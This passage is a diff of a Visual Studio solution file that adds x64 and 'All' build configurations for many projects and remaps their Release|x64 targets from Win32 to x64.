+		{5FD31A25-5D83-4794-8BEE-904DAD84CE71}.Debug|x64.Build.0 = Debug|Win32
 		{5FD31A25-5D83-4794-8BEE-904DAD84CE71}.Release|Win32.ActiveCfg = Release|Win32
 		{5FD31A25-5D83-4794-8BEE-904DAD84CE71}.Release|Win32.Build.0 = Release|Win32
-		{5FD31A25-5D83-4794-8BEE-904DAD84CE71}.Release|x64.ActiveCfg = Release|Win32
+		{5FD31A25-5D83-4794-8BEE-904DAD84CE71}.Release|x64.ActiveCfg = Release|x64
+		{5FD31A25-5D83-4794-8BEE-904DAD84CE71}.Release|x64.Build.0 = Release|x64
+		{5580D60E-0F77-4716-9CD4-B8E5986FA375}.All|Win32.ActiveCfg = Release|x64
+		{5580D60E-0F77-4716-9CD4-B8E5986FA375}.All|x64.ActiveCfg = Release|x64
+		{5580D60E-0F77-4716-9CD4-B8E5986FA375}.All|x64.Build.0 = Release|x64
 		{5580D60E-0F77-4716-9CD4-B8E5986FA375}.Debug|Win32.ActiveCfg = Debug|Win32
 		{5580D60E-0F77-4716-9CD4-B8E5986FA375}.Debug|Win32.Build.0 = Debug|Win32
 		{5580D60E-0F77-4716-9CD4-B8E5986FA375}.Debug|x64.ActiveCfg = Debug|Win32
+		{5580D60E-0F77-4716-9CD4-B8E5986FA375}.Debug|x64.Build.0 = Debug|Win32
 		{5580D60E-0F77-4716-9CD4-B8E5986FA375}.Release|Win32.ActiveCfg = Release|Win32
 		{5580D60E-0F77-4716-9CD4-B8E5986FA375}.Release|Win32.Build.0 = Release|Win32
-		{5580D60E-0F77-4716-9CD4-B8E5986FA375}.Release|x64.ActiveCfg = Release|Win32
+		{5580D60E-0F77-4716-9CD4-B8E5986FA375}.Release|x64.ActiveCfg = Release|x64
+		{5580D60E-0F77-4716-9CD4-B8E5986FA375}.Release|x64.Build.0 = Release|x64
+		{1A1FF289-4FD6-4285-A422-D31DD67A4723}.All|Win32.ActiveCfg = Release|Win32
+		{1A1FF289-4FD6-4285-A422-D31DD67A4723}.All|x64.ActiveCfg = Release|Win32
 		{1A1FF289-4FD6-4285-A422-D31DD67A4723}.Debug|Win32.ActiveCfg = Debug|Win32
 		{1A1FF289-4FD6-4285-A422-D31DD67A4723}.Debug|x64.ActiveCfg = Debug|Win32
 		{1A1FF289-4FD6-4285-A422-D31DD67A4723}.Release|Win32.ActiveCfg = Release|Win32
 		{1A1FF289-4FD6-4285-A422-D31DD67A4723}.Release|x64.ActiveCfg = Release|Win32
+		{07113B25-D3AF-4E04-BA77-4CD1171F022C}.All|Win32.ActiveCfg = Release|x64
+		{07113B25-D3AF-4E04-BA77-4CD1171F022C}.All|x64.ActiveCfg = Release|x64
+		{07113B25-D3AF-4E04-BA77-4CD1171F022C}.All|x64.Build.0 = Release|x64
 		{07113B25-D3AF-4E04-BA77-4CD1171F022C}.Debug|Win32.ActiveCfg = Debug|Win32
 		{07113B25-D3AF-4E04-BA77-4CD1171F022C}.Debug|Win32.Build.0 = Debug|Win32
 		{07113B25-D3AF-4E04-BA77-4CD1171F022C}.Debug|x64.ActiveCfg = Debug|Win32
+		{07113B25-D3AF-4E04-BA77-4CD1171F022C}.Debug|x64.Build.0 = Debug|Win32
 		{07113B25-D3AF-4E04-BA77-4CD1171F022C}.Release|Win32.ActiveCfg = Release|Win32
 		{07113B25-D3AF-4E04-BA77-4CD1171F022C}.Release|Win32.Build.0 = Release|Win32
-		{07113B25-D3AF-4E04-BA77-4CD1171F022C}.Release|x64.ActiveCfg = Release|Win32
+		{07113B25-D3AF-4E04-BA77-4CD1171F022C}.Release|x64.ActiveCfg = Release|x64
+		{07113B25-D3AF-4E04-BA77-4CD1171F022C}.Release|x64.Build.0 = Release|x64
+		{EC3E5C7F-EE09-47E2-80FE-546363D14A98}.All|Win32.ActiveCfg = Release MS-LDAP|x64
+		{EC3E5C7F-EE09-47E2-80FE-546363D14A98}.All|x64.ActiveCfg = Release MS-LDAP|x64
+		{EC3E5C7F-EE09-47E2-80FE-546363D14A98}.All|x64.Build.0 = Release MS-LDAP|x64
 		{EC3E5C7F-EE09-47E2-80FE-546363D14A98}.Debug|Win32.ActiveCfg = Debug MS-LDAP|Win32
 		{EC3E5C7F-EE09-47E2-80FE-546363D14A98}.Debug|Win32.Build.0 = Debug MS-LDAP|Win32
-		{EC3E5C7F-EE09-47E2-80FE-546363D14A98}.Debug|x64.ActiveCfg = Debug|Win32
+		{EC3E5C7F-EE09-47E2-80FE-546363D14A98}.Debug|x64.ActiveCfg = Debug MS-LDAP|Win32
+		{EC3E5C7F-EE09-47E2-80FE-546363D14A98}.Debug|x64.Build.0 = Debug MS-LDAP|Win32
 		{EC3E5C7F-EE09-47E2-80FE-546363D14A98}.Release|Win32.ActiveCfg = Release MS-LDAP|Win32
 		{EC3E5C7F-EE09-47E2-80FE-546363D14A98}.Release|Win32.Build.0 = Release MS-LDAP|Win32
-		{EC3E5C7F-EE09-47E2-80FE-546363D14A98}.Release|x64.ActiveCfg = Release|Win32
+		{EC3E5C7F-EE09-47E2-80FE-546363D14A98}.Release|x64.ActiveCfg = Release MS-LDAP|x64
+		{EC3E5C7F-EE09-47E2-80FE-546363D14A98}.Release|x64.Build.0 = Release MS-LDAP|x64
+		{A27CCA23-1541-4337-81A4-F0A6413078A0}.All|Win32.ActiveCfg = Release|x64
+		{A27CCA23-1541-4337-81A4-F0A6413078A0}.All|x64.ActiveCfg = Release|x64
+		{A27CCA23-1541-4337-81A4-F0A6413078A0}.All|x64.Build.0 = Release|x64
 		{A27CCA23-1541-4337-81A4-F0A6413078A0}.Debug|Win32.ActiveCfg = Debug|Win32
 		{A27CCA23-1541-4337-81A4-F0A6413078A0}.Debug|Win32.Build.0 = Debug|Win32
 		{A27CCA23-1541-4337-81A4-F0A6413078A0}.Debug|x64.ActiveCfg = Debug|Win32
+		{A27CCA23-1541-4337-81A4-F0A6413078A0}.Debug|x64.Build.0 = Debug|Win32
 		{A27CCA23-1541-4337-81A4-F0A6413078A0}.Release|Win32.ActiveCfg = Release|Win32
 		{A27CCA23-1541-4337-81A4-F0A6413078A0}.Release|Win32.Build.0 = Release|Win32
-		{A27CCA23-1541-4337-81A4-F0A6413078A0}.Release|x64.ActiveCfg = Release|Win32
+		{A27CCA23-1541-4337-81A4-F0A6413078A0}.Release|x64.ActiveCfg = Release|x64
+		{A27CCA23-1541-4337-81A4-F0A6413078A0}.Release|x64.Build.0 = Release|x64
+		{C7705DC4-2088-493E-AF8D-65BC6D65C125}.All|Win32.ActiveCfg = Release|x64
+		{C7705DC4-2088-493E-AF8D-65BC6D65C125}.All|x64.ActiveCfg = Release|x64
+		{C7705DC4-2088-493E-AF8D-65BC6D65C125}.All|x64.Build.0 = Release|x64
 		{C7705DC4-2088-493E-AF8D-65BC6D65C125}.Debug|Win32.ActiveCfg = Debug|Win32
 		{C7705DC4-2088-493E-AF8D-65BC6D65C125}.Debug|Win32.Build.0 = Debug|Win32
 		{C7705DC4-2088-493E-AF8D-65BC6D65C125}.Debug|x64.ActiveCfg = Debug|Win32
+		{C7705DC4-2088-493E-AF8D-65BC6D65C125}.Debug|x64.Build.0 = Debug|Win32
 		{C7705DC4-2088-493E-AF8D-65BC6D65C125}.Release|Win32.ActiveCfg = Release|Win32
 		{C7705DC4-2088-493E-AF8D-65BC6D65C125}.Release|Win32.Build.0 = Release|Win32
-		{C7705DC4-2088-493E-AF8D-65BC6D65C125}.Release|x64.ActiveCfg = Release|Win32
+		{C7705DC4-2088-493E-AF8D-65BC6D65C125}.Release|x64.ActiveCfg = Release|x64
+		{C7705DC4-2088-493E-AF8D-65BC6D65C125}.Release|x64.Build.0 = Release|x64
+		{784113EF-44D9-4949-835D-7065D3C7AD08}.All|Win32.ActiveCfg = Release|x64
+		{784113EF-44D9-4949-835D-7065D3C7AD08}.All|x64.ActiveCfg = Release|x64
+		{784113EF-44D9-4949-835D-7065D3C7AD08}.All|x64.Build.0 = Release|x64
 		{784113EF-44D9-4949-835D-7065D3C7AD08}.Debug|Win32.ActiveCfg = Debug|Win32
 		{784113EF-44D9-4949-835D-7065D3C7AD08}.Debug|Win32.Build.0 = Debug|Win32
 		{784113EF-44D9-4949-835D-7065D3C7AD08}.Debug|x64.ActiveCfg = Debug|Win32
+		{784113EF-44D9-4949-835D-7065D3C7AD08}.Debug|x64.Build.0 = Debug|Win32
 		{784113EF-44D9-4949-835D-7065D3C7AD08}.Release|Win32.ActiveCfg = Release|Win32
 		{784113EF-44D9-4949-835D-7065D3C7AD08}.Release|Win32.Build.0 = Release|Win32
-		{784113EF-44D9-4949-835D-7065D3C7AD08}.Release|x64.ActiveCfg = Release|Win32
+		{784113EF-44D9-4949-835D-7065D3C7AD08}.Release|x64.ActiveCfg = Release|x64
+		{784113EF-44D9-4949-835D-7065D3C7AD08}.Release|x64.Build.0 = Release|x64
+		{89385C74-5860-4174-9CAF-A39E7C48909C}.All|Win32.ActiveCfg = Release|x64
+		{89385C74-5860-4174-9CAF-A39E7C48909C}.All|x64.ActiveCfg = Release|x64
+		{89385C74-5860-4174-9CAF-A39E7C48909C}.All|x64.Build.0 = Release|x64
 		{89385C74-5860-4174-9CAF-A39E7C48909C}.Debug|Win32.ActiveCfg = Debug|Win32
 		{89385C74-5860-4174-9CAF-A39E7C48909C}.Debug|Win32.Build.0 = Debug|Win32
 		{89385C74-5860-4174-9CAF-A39E7C48909C}.Debug|x64.ActiveCfg = Debug|Win32
+		{89385C74-5860-4174-9CAF-A39E7C48909C}.Debug|x64.Build.0 = Debug|Win32
 		{89385C74-5860-4174-9CAF-A39E7C48909C}.Release|Win32.ActiveCfg = Release|Win32
 		{89385C74-5860-4174-9CAF-A39E7C48909C}.Release|Win32.Build.0 = Release|Win32
-		{89385C74-5860-4174-9CAF-A39E7C48909C}.Release|x64.ActiveCfg = Release|Win32
+		{89385C74-5860-4174-9CAF-A39E7C48909C}.Release|x64.ActiveCfg = Release|x64
+		{89385C74-5860-4174-9CAF-A39E7C48909C}.Release|x64.Build.0 = Release|x64
+		{1AD3F51E-BBB6-4090-BA39-9DFAB1EF1F5F}.All|Win32.ActiveCfg = Release|x64
+		{1AD3F51E-BBB6-4090-BA39-9DFAB1EF1F5F}.All|x64.ActiveCfg = Release|x64
+		{1AD3F51E-BBB6-4090-BA39-9DFAB1EF1F5F}.All|x64.Build.0 = Release|x64
 		{1AD3F51E-BBB6-4090-BA39-9DFAB1EF1F5F}.Debug|Win32.ActiveCfg = Debug|Win32
 		{1AD3F51E-BBB6-4090-BA39-9DFAB1EF1F5F}.Debug|Win32.Build.0 = Debug|Win32
 		{1AD3F51E-BBB6-4090-BA39-9DFAB1EF1F5F}.Debug|x64.ActiveCfg = Debug|Win32
+		{1AD3F51E-BBB6-4090-BA39-9DFAB1EF1F5F}.Debug|x64.Build.0 = Debug|Win32
 		{1AD3F51E-BBB6-4090-BA39-9DFAB1EF1F5F}.Release|Win32.ActiveCfg = Release|Win32
 		{1AD3F51E-BBB6-4090-BA39-9DFAB1EF1F5F}.Release|Win32.Build.0 = Release|Win32
-		{1AD3F51E-BBB6-4090-BA39-9DFAB1EF1F5F}.Release|x64.ActiveCfg = Release|Win32
+		{1AD3F51E-BBB6-4090-BA39-9DFAB1EF1F5F}.Release|x64.ActiveCfg = Release|x64
+		{1AD3F51E-BBB6-4090-BA39-9DFAB1EF1F5F}.Release|x64.Build.0 = Release|x64
+		{692F6330-4D87-4C82-81DF-40DB5892636E}.All|Win32.ActiveCfg = Release|x64
+		{692F6330-4D87-4C82-81DF-40DB5892636E}.All|x64.ActiveCfg = Release|x64
+		{692F6330-4D87-4C82-81DF-40DB5892636E}.All|x64.Build.0 = Release|x64
 		{692F6330-4D87-4C82-81DF-40DB5892636E}.Debug|Win32.ActiveCfg = Debug|Win32
 		{692F6330-4D87-4C82-81DF-40DB5892636E}.Debug|x64.ActiveCfg = Debug|Win32
 		{692F6330-4D87-4C82-81DF-40DB5892636E}.Release|Win32.ActiveCfg = Release|Win32
-		{692F6330-4D87-4C82-81DF-40DB5892636E}.Release|x64.ActiveCfg = Release|Win32
+		{692F6330-4D87-4C82-81DF-40DB5892636E}.Release|x64.ActiveCfg = Release|x64
+		{D3EC0AFF-76FC-4210-A825-9A17410660A3}.All|Win32.ActiveCfg = Release|x64
+		{D3EC0AFF-76FC-4210-A825-9A17410660A3}.All|x64.ActiveCfg = Release|x64
+		{D3EC0AFF-76FC-4210-A825-9A17410660A3}.All|x64.Build.0 = Release|x64
 		{D3EC0AFF-76FC-4210-A825-9A17410660A3}.Debug|Win32.ActiveCfg = Debug|Win32
 		{D3EC0AFF-76FC-4210-A825-9A17410660A3}.Debug|Win32.Build.0 = Debug|Win32
 		{D3EC0AFF-76FC-4210-A825-9A17410660A3}.Debug|x64.ActiveCfg = Debug|Win32
+		{D3EC0AFF-76FC-4210-A825-9A17410660A3}.Debug|x64.Build.0 = Debug|Win32
 		{D3EC0AFF-76FC-4210-A825-9A17410660A3}.Release|Win32.ActiveCfg = Release|Win32
 		{D3EC0AFF-76FC-4210-A825-9A17410660A3}.Release|Win32.Build.0 = Release|Win32
-		{D3EC0AFF-76FC-4210-A825-9A17410660A3}.Release|x64.ActiveCfg = Release|Win32
+		{D3EC0AFF-76FC-4210-A825-9A17410660A3}.Release|x64.ActiveCfg = Release|x64
+		{D3EC0AFF-76FC-4210-A825-9A17410660A3}.Release|x64.Build.0 = Release|x64
+		{FFAA4C52-3A53-4F99-90C1-D59D1F0427F3}.All|Win32.ActiveCfg = Release|x64
+		{FFAA4C52-3A53-4F99-90C1-D59D1F0427F3}.All|x64.ActiveCfg = Release|x64
+		{FFAA4C52-3A53-4F99-90C1-D59D1F0427F3}.All|x64.Build.0 = Release|x64
 		{FFAA4C52-3A53-4F99-90C1-D59D1F0427F3}.Debug|Win32.ActiveCfg = Debug|Win32
 		{FFAA4C52-3A53-4F99-90C1-D59D1F0427F3}.Debug|Win32.Build.0 = Debug|Win32
 		{FFAA4C52-3A53-4F99-90C1-D59D1F0427F3}.Debug|x64.ActiveCfg = Debug|Win32
+		{FFAA4C52-3A53-4F99-90C1-D59D1F0427F3}.Debug|x64.Build.0 = Debug|Win32
 		{FFAA4C52-3A53-4F99-90C1-D59D1F0427F3}.Release|Win32.ActiveCfg = Release|Win32
 		{FFAA4C52-3A53-4F99-90C1-D59D1F0427F3}.Release|Win32.Build.0 = Release|Win32
-		{FFAA4C52-3A53-4F99-90C1-D59D1F0427F3}.Release|x64.ActiveCfg = Release|Win32
+		{FFAA4C52-3A53-4F99-90C1-D59D1F0427F3}.Release|x64.ActiveCfg = Release|x64
+		{FFAA4C52-3A53-4F99-90C1-D59D1F0427F3}.Release|x64.Build.0 = Release|x64
+		{30A5B29C-983E-4580-9FD0-D647CCDCC7EB}.All|Win32.ActiveCfg = Release|x64
+		{30A5B29C-983E-4580-9FD0-D647CCDCC7EB}.All|x64.ActiveCfg = Release|x64
+		{30A5B29C-983E-4580-9FD0-D647CCDCC7EB}.All|x64.Build.0 = Release|x64
 		{30A5B29C-983E-4580-9FD0-D647CCDCC7EB}.Debug|Win32.ActiveCfg = Debug|Win32
 		{30A5B29C-983E-4580-9FD0-D647CCDCC7EB}.Debug|Win32.Build.0 = Debug|Win32
 		{30A5B29C-983E-4580-9FD0-D647CCDCC7EB}.Debug|x64.ActiveCfg = Debug|Win32
+		{30A5B29C-983E-4580-9FD0-D647CCDCC7EB}.Debug|x64.Build.0 = Debug|Win32
 		{30A5B29C-983E-4580-9FD0-D647CCDCC7EB}.Release|Win32.ActiveCfg = Release|Win32
 		{30A5B29C-983E-4580-9FD0-D647CCDCC7EB}.Release|Win32.Build.0 = Release|Win32
-		{30A5B29C-983E-4580-9FD0-D647CCDCC7EB}.Release|x64.ActiveCfg = Release|Win32
+		{30A5B29C-983E-4580-9FD0-D647CCDCC7EB}.Release|x64.ActiveCfg = Release|x64
+		{30A5B29C-983E-4580-9FD0-D647CCDCC7EB}.Release|x64.Build.0 = Release|x64
+		{1C453396-D912-4213-89FD-9B489162B7B5}.All|Win32.ActiveCfg = Release|x64
+		{1C453396-D912-4213-89FD-9B489162B7B5}.All|x64.ActiveCfg = Release|x64
+		{1C453396-D912-4213-89FD-9B489162B7B5}.All|x64.Build.0 = Release|x64
 		{1C453396-D912-4213-89FD-9B489162B7B5}.Debug|Win32.ActiveCfg = Debug|Win32
 		{1C453396-D912-4213-89FD-9B489162B7B5}.Debug|Win32.Build.0 = Debug|Win32
 		{1C453396-D912-4213-89FD-9B489162B7B5}.Debug|x64.ActiveCfg = Debug|Win32
+		{1C453396-D912-4213-89FD-9B489162B7B5}.Debug|x64.Build.0 = Debug|Win32
 		{1C453396-D912-4213-89FD-9B489162B7B5}.Release|Win32.ActiveCfg = Release|Win32
 		{1C453396-D912-4213-89FD-9B489162B7B5}.Release|Win32.Build.0 = Release|Win32
-		{1C453396-D912-4213-89FD-9B489162B7B5}.Release|x64.ActiveCfg = Release|Win32
+		{1C453396-D912-4213-89FD-9B489162B7B5}.Release|x64.ActiveCfg = Release|x64
+		{1C453396-D912-4213-89FD-9B489162B7B5}.Release|x64.Build.0 = Release|x64
+		{CBEC7225-0C21-4DA8-978E-1F158F8AD950}.All|Win32.ActiveCfg = Release|x64
+		{CBEC7225-0C21-4DA8-978E-1F158F8AD950}.All|x64.ActiveCfg = Release|x64
+		{CBEC7225-0C21-4DA8-978E-1F158F8AD950}.All|x64.Build.0 = Release|x64
 		{CBEC7225-0C21-4DA8-978E-1F158F8AD950}.Debug|Win32.ActiveCfg = Debug|Win32
 		{CBEC7225-0C21-4DA8-978E-1F158F8AD950}.Debug|Win32.Build.0 = Debug|Win32
 		{CBEC7225-0C21-4DA8-978E-1F158F8AD950}.Debug|x64.ActiveCfg = Debug|Win32
+		{CBEC7225-0C21-4DA8-978E-1F158F8AD950}.Debug|x64.Build.0 = Debug|Win32
 		{CBEC7225-0C21-4DA8-978E-1F158F8AD950}.Release|Win32.ActiveCfg = Release|Win32
 		{CBEC7225-0C21-4DA8-978E-1F158F8AD950}.Release|Win32.Build.0 = Release|Win32
-		{CBEC7225-0C21-4DA8-978E-1F158F8AD950}.Release|x64.ActiveCfg = Release|Win32
+		{CBEC7225-0C21-4DA8-978E-1F158F8AD950}.Release|x64.ActiveCfg = Release|x64
+		{CBEC7225-0C21-4DA8-978E-1F158F8AD950}.Release|x64.Build.0 = Release|x64
+		{B69247FA-ECD6-40ED-8E44-5CA6C3BAF9A4}.All|Win32.ActiveCfg = Release|x64
+		{B69247FA-ECD6-40ED-8E44-5CA6C3BAF9A4}.All|x64.ActiveCfg = Release|x64
+		{B69247FA-ECD6-40ED-8E44-5CA6C3BAF9A4}.All|x64.Build.0 = Release|x64
 		{B69247FA-ECD6-40ED-8E44-5CA6C3BAF9A4}.Debug|Win32.ActiveCfg = Debug|Win32
 		{B69247FA-ECD6-40ED-8E44-5CA6C3BAF9A4}.Debug|Win32.Build.0 = Debug|Win32
 		{B69247FA-ECD6-40ED-8E44-5CA6C3BAF9A4}.Debug|x64.ActiveCfg = Debug|Win32
+		{B69247FA-ECD6-40ED-8E44-5CA6C3BAF9A4}.Debug|x64.Build.0 = Debug|Win32
 		{B69247FA-ECD6-40ED-8E44-5CA6C3BAF9A4}.Release|Win32.ActiveCfg = Release|Win32
 		{B69247FA-ECD6-40ED-8E44-5CA6C3BAF9A4}.Release|Win32.Build.0 = Release|Win32
-		{B69247FA-ECD6-40ED-8E44-5CA6C3BAF9A4}.Release|x64.ActiveCfg = Release|Win32
+		{B69247FA-ECD6-40ED-8E44-5CA6C3BAF9A4}.Release|x64.ActiveCfg = Release|x64
+		{B69247FA-ECD6-40ED-8E44-5CA6C3BAF9A4}.Release|x64.Build.0 = Release|x64
+		{C24FB505-05D7-4319-8485-7540B44C8603}.All|Win32.ActiveCfg = Release|x64
+		{C24FB505-05D7-4319-8485-7540B44C8603}.All|x64.ActiveCfg = Release|x64
+		{C24FB505-05D7-4319-8485-7540B44C8603}.All|x64.Build.0 = Release|x64
 		{C24FB505-05D7-4319-8485-7540B44C8603}.Debug|Win32.ActiveCfg = Debug|Win32
 		{C24FB505-05D7-4319-8485-7540B44C8603}.Debug|Win32.Build.0 = Debug|Win32
 		{C24FB505-05D7-4319-8485-7540B44C8603}.Debug|x64.ActiveCfg = Debug|Win32
+		{C24FB505-05D7-4319-8485-7540B44C8603}.Debug|x64.Build.0 = Debug|Win32
 		{C24FB505-05D7-4319-8485-7540B44C8603}.Release|Win32.ActiveCfg = Release|Win32
 		{C24FB505-05D7-4319-8485-7540B44C8603}.Release|Win32.Build.0 = Release|Win32
-		{C24FB505-05D7-4319-8485-7540B44C8603}.Release|x64.ActiveCfg = Release|Win32
+		{C24FB505-05D7-4319-8485-7540B44C8603}.Release|x64.ActiveCfg = Release|x64
+		{C24FB505-05D7-4319-8485-7540B44C8603}.Release|x64.Build.0 = Release|x64
+		{B5881A85-FE70-4F64-8607-2CAAE52669C6}.All|Win32.ActiveCfg = Release|x64
+		{B5881A85-FE70-4F64-8607-2CAAE52669C6}.All|x64.ActiveCfg = Release|x64
+		{B5881A85-FE70-4F64-8607-2CAAE52669C6}.All|x64.Build.0 = Release|x64
 		{B5881A85-FE70-4F64-8607-2CAAE52669C6}.Debug|Win32.ActiveCfg = Debug|Win32
 		{B5881A85-FE70-4F64-8607-2CAAE52669C6}.Debug|Win32.Build.0 = Debug|Win32
 		{B5881A85-FE70-4F64-8607-2CAAE52669C6}.Debug|x64.ActiveCfg = Debug|Win32
+		{B5881A85-FE70-4F64-8607-2CAAE52669C6}.Debug|x64.Build.0 = Debug|Win32
 		{B5881A85-FE70-4F64-8607-2CAAE52669C6}.Release|Win32.ActiveCfg = Release|Win32
 		{B5881A85-FE70-4F64-8607-2CAAE52669C6}.Release|Win32.Build.0 = Release|Win32
-		{B5881A85-FE70-4F64-8607-2CAAE52669C6}.Release|x64.ActiveCfg = Release|Win32
+		{B5881A85-FE70-4F64-8607-2CAAE52669C6}.Release|x64.ActiveCfg = Release|x64
+		{B5881A85-FE70-4F64-8607-2CAAE52669C6}.Release|x64.Build.0 = Release|x64
+		{05515420-16DE-4E63-BE73-85BE85BA5142}.All|Win32.ActiveCfg = Release|x64
+		{05515420-16DE-4E63-BE73-85BE85BA5142}.All|x64.ActiveCfg = Release|x64
+		{05515420-16DE-4E63-BE73-85BE85BA5142}.All|x64.Build.0 = Release|x64
 		{05515420-16DE-4E63-BE73-85BE85BA5142}.Debug|Win32.ActiveCfg = Debug|Win32
 		{05515420-16DE-4E63-BE73-85BE85BA5142}.Debug|Win32.Build.0 = Debug|Win32
 		{05515420-16DE-4E63-BE73-85BE85BA5142}.Debug|x64.ActiveCfg = Debug|Win32
+		{05515420-16DE-4E63-BE73-85BE85BA5142}.Debug|x64.Build.0 = Debug|Win32
 		{05515420-16DE-4E63-BE73-85BE85BA5142}.Release|Win32.ActiveCfg = Release|Win32
 		{05515420-16DE-4E63-BE73-85BE85BA5142}.Release|Win32.Build.0 = Release|Win32
-		{05515420-16DE-4E63-BE73-85BE85BA5142}.Release|x64.ActiveCfg = Release|Win32
-		{989BB874-7AF1-44CB-8E5C-CC8113D267E8}.Debug|Win32.ActiveCfg = Debug|Win32
-		{989BB874-7AF1-44CB-8E5C-CC8113D267E8}.Debug|Win32.Build.0 = Debug|Win32
-		{989BB874-7AF1-44CB-8E5C-CC8113D267E8}.Debug|x64.ActiveCfg = Debug|Win32
-		{989BB874-7AF1-44CB-8E5C-CC8113D267E8}.Release|Win32.ActiveCfg = Release|Win32
-		{989BB874-7AF1-44CB-8E5C-CC8113D267E8}.Release|Win32.Build.0 = Release|Win32
-		{989BB874-7AF1-44CB-8E5C-CC8113D267E8}.Release|x64.ActiveCfg = Release|Win32
+		{05515420-16DE-4E63-BE73-85BE85BA5142}.Release|x64.ActiveCfg = Release|x64
+		{05515420-16DE-4E63-BE73-85BE85BA5142}.Release|x64.Build.0 = Release|x64
+		{1906D736-08BD-4EE1-924F-B536249B9A54}.All|Win32.ActiveCfg = Release DLL|x64
+		{1906D736-08BD-4EE1-924F-B536249B9A54}.All|x64.ActiveCfg = Release DLL|x64
+		{1906D736-08BD-4EE1-924F-B536249B9A54}.All|x64.Build.0 = Release DLL|x64
 		{1906D736-08BD-4EE1-924F-B536249B9A54}.Debug|Win32.ActiveCfg = Debug|Win32
 		{1906D736-08BD-4EE1-924F-B536249B9A54}.Debug|Win32.Build.0 = Debug|Win32
 		{1906D736-08BD-4EE1-924F-B536249B9A54}.Debug|x64.ActiveCfg = Debug|Win32
+		{1906D736-08BD-4EE1-924F-B536249B9A54}.Debug|x64.Build.0 = Debug|Win32
 		{1906D736-08BD-4EE1-924F-B536249B9A54}.Release|Win32.ActiveCfg = Release|Win32
 		{1906D736-08BD-4EE1-924F-B536249B9A54}.Release|Win32.Build.0 = Release|Win32
-		{1906D736-08BD-4EE1-924F-B536249B9A54}.Release|x64.ActiveCfg = Release|Win32
+		{1906D736-08BD-4EE1-924F-B536249B9A54}.Release|x64.ActiveCfg = Release|x64
+		{1906D736-08BD-4EE1-924F-B536249B9A54}.Release|x64.Build.0 = Release|x64
+		{EEF031CB-FED8-451E-A471-91EC8D4F6750}.All|Win32.ActiveCfg = Release Dll|x64
+		{EEF031CB-FED8-451E-A471-91EC8D4F6750}.All|x64.ActiveCfg = Release Dll|x64
+		{EEF031CB-FED8-451E-A471-91EC8D4F6750}.All|x64.Build.0 = Release Dll|x64
 		{EEF031CB-FED8-451E-A471-91EC8D4F6750}.Debug|Win32.ActiveCfg = Debug|Win32
 		{EEF031CB-FED8-451E-A471-91EC8D4F6750}.Debug|Win32.Build.0 = Debug|Win32
 		{EEF031CB-FED8-451E-A471-91EC8D4F6750}.Debug|x64.ActiveCfg = Debug|Win32
+		{EEF031CB-FED8-451E-A471-91EC8D4F6750}.Debug|x64.Build.0 = Debug|Win32
 		{EEF031CB-FED8-451E-A471-91EC8D4F6750}.Release|Win32.ActiveCfg = Release|Win32
 		{EEF031CB-FED8-451E-A471-91EC8D4F6750}.Release|Win32.Build.0 = Release|Win32
-		{EEF031CB-FED8-451E-A471-91EC8D4F6750}.Release|x64.ActiveCfg = Release|Win32
+		{EEF031CB-FED8-451E-A471-91EC8D4F6750}.Release|x64.ActiveCfg = Release|x64
+		{EEF031CB-FED8-451E-A471-91EC8D4F6750}.Release|x64.Build.0 = Release|x64
+		{6EDFEFD5-3596-4FA9-8EBA-B331547B35A3}.All|Win32.ActiveCfg = Release DLL|x64
+		{6EDFEFD5-3596-4FA9-8EBA-B331547B35A3}.All|x64.ActiveCfg = Release DLL|x64
+		{6EDFEFD5-3596-4FA9-8EBA-B331547B35A3}.All|x64.Build.0 = Release DLL|x64
 		{6EDFEFD5-3596-4FA9-8EBA-B331547B35A3}.Debug|Win32.ActiveCfg = Debug|Win32
 		{6EDFEFD5-3596-4FA9-8EBA-B331547B35A3}.Debug|Win32.Build.0 = Debug|Win32
 		{6EDFEFD5-3596-4FA9-8EBA-B331547B35A3}.Debug|x64.ActiveCfg = Debug|Win32
+		{6EDFEFD5-3596-4FA9-8EBA-B331547B35A3}.Debug|x64.Build.0 = Debug|Win32
+		{6EDFEFD5-3596-4FA9-8EBA-B331547B35A3}.Debug|x64.Deploy.0 = Debug|Win32
 		{6EDFEFD5-3596-4FA9-8EBA-B331547B35A3}.Release|Win32.ActiveCfg = Release|Win32
 		{6EDFEFD5-3596-4FA9-8EBA-B331547B35A3}.Release|Win32.Build.0 = Release|Win32
-		{6EDFEFD5-3596-4FA9-8EBA-B331547B35A3}.Release|x64.ActiveCfg = Release|Win32
+		{6EDFEFD5-3596-4FA9-8EBA-B331547B35A3}.Release|x64.ActiveCfg = Release|x64
+		{6EDFEFD5-3596-4FA9-8EBA-B331547B35A3}.Release|x64.Build.0 = Release|x64
+		{8D04B550-D240-4A44-8A18-35DA3F7038D9}.All|Win32.ActiveCfg = Release DLL|x64
+		{8D04B550-D240-4A44-8A18-35DA3F7038D9}.All|x64.ActiveCfg = Release DLL|x64
+		{8D04B550-D240-4A44-8A18-35DA3F7038D9}.All|x64.Build.0 = Release DLL|x64
 		{8D04B550-D240-4A44-8A18-35DA3F7038D9}.Debug|Win32.ActiveCfg = Debug|Win32
 		{8D04B550-D240-4A44-8A18-35DA3F7038D9}.Debug|Win32.Build.0 = Debug|Win32
 		{8D04B550-D240-4A44-8A18-35DA3F7038D9}.Debug|x64.ActiveCfg = Debug|Win32
+		{8D04B550-D240-4A44-8A18-35DA3F7038D9}.Debug|x64.Build.0 = Debug|Win32
 		{8D04B550-D240-4A44-8A18-35DA3F7038D9}.Release|Win32.ActiveCfg = Release|Win32
 		{8D04B550-D240-4A44-8A18-35DA3F7038D9}.Release|Win32.Build.0 = Release|Win32
-		{8D04B550-D240-4A44-8A18-35DA3F7038D9}.Release|x64.ActiveCfg = Release|Win32
+		{8D04B550-D240-4A44-8A18-35DA3F7038D9}.Release|x64.ActiveCfg = Release|x64
+		{8D04B550-D240-4A44-8A18-35DA3F7038D9}.Release|x64.Build.0 = Release|x64
+		{1CED5987-A529-46DC-B30F-870D85FF9C94}.All|Win32.ActiveCfg = Release|x64
+		{1CED5987-A529-46DC-B30F-870D85FF9C94}.All|x64.ActiveCfg = Release|x64
+		{1CED5987-A529-46DC-B30F-870D85FF9C94}.All|x64.Build.0 = Release|x64
 		{1CED5987-A529-46DC-B30F-870D85FF9C94}.Debug|Win32.ActiveCfg = Debug|Win32
 		{1CED5987-A529-46DC-B30F-870D85FF9C94}.Debug|Win32.Build.0 = Debug|Win32
 		{1CED5987-A529-46DC-B30F-870D85FF9C94}.Debug|x64.ActiveCfg = Debug|Win32
